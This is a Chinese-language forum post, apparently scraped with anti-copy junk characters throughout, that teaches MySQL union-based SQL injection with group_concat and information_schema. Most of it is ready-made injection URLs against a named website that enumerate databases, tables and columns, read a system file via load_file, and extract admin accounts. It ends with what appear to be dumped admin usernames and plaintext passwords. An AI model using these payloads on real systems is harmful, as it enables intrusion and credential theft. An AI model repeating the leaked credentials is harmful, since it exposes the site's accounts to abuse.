此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似, B! g$ h" D. d8 x2 G- _0 v
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
# S: N8 k/ w7 P& H& m$ W7 T/ f6 |) |% k$ j$ }, r! }, l
, t, w6 t6 [; ^优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入" J4 M& b8 J# u( i
9 h: Y! o9 r# ]1 F6 W缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
' X( u; X9 t$ c6 }5 C0 W
9 o& p1 Y2 i2 X, W下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示* B& g. ^9 Y y9 O
在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
/ X6 H+ F3 e. e" V- Q6 @5 h1 }& O1 N: p# g3 _
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
* O7 Q) h1 L2 s/ u: f* O$ Q3 k5 _( G- G
读出所有库:. f2 H# W, N9 G9 V1 {5 i$ Q) ?8 r. h
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA9 B; |. V3 V9 j l" ~8 Z
- F) D6 I6 H6 [+ G l. o7 E1 n3 A3 v5 |' m
4 }6 R* I- _) P; n
读出所有表:; \- g z, A! Y h4 S
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
& F4 |; q2 A8 x/ l- p& c7 t- s: w# L$ M4 i! x
读出所有表字段:
% [8 i% a1 A; F# a6 f# @http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110), v: _+ h# W. Q- F6 n- W
*/ (97,100,109,105,110)为admin的ascii码 依次类推
. q2 I/ W3 r" O- D- Z/ H
' [8 b F( U" J7 F- i; w) l0 p读出所有表字段里的内容:$ |8 w5 k2 ~8 s" j0 p
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin- i5 y+ s0 Y1 K' ~+ P. P/ b s
/ `/ M# V& i3 k* X, m& t% z2 F
. M# l9 y5 N. N# F( }! F8 z0 r! S: `" t8 Z. |: G
# m: K4 E6 q. w
3 a' Q% c! d. y5 ]" ?% l
$ t. c9 D: ~8 ^4 H f. Z. M/ Q$ Thttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23+ C% l. @% Y0 `; ~/ O; i( V
) S+ h z8 c4 G0 g f d8 u7 a2 M
" u6 Y5 Y8 S% N: x% k9 Dhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
6 F! W9 S/ k' F4 _7 d* p, I# ~
( I, c: O T1 _+ R8 Vhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23, I4 |) i8 h" S7 R5 D& T$ K
$ j& P" [: \( V2 c9 k7 E c! l: H9 Z
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%238 m+ K4 I: N5 g0 L( w
/ s; @- H4 t- q& C+ v6 ] Q& O
+ d0 J6 i5 U2 j1 u3 Z5 g webmaster:dzb521123,simlab:simadmin20043233
: G! j& j s' s9 ] |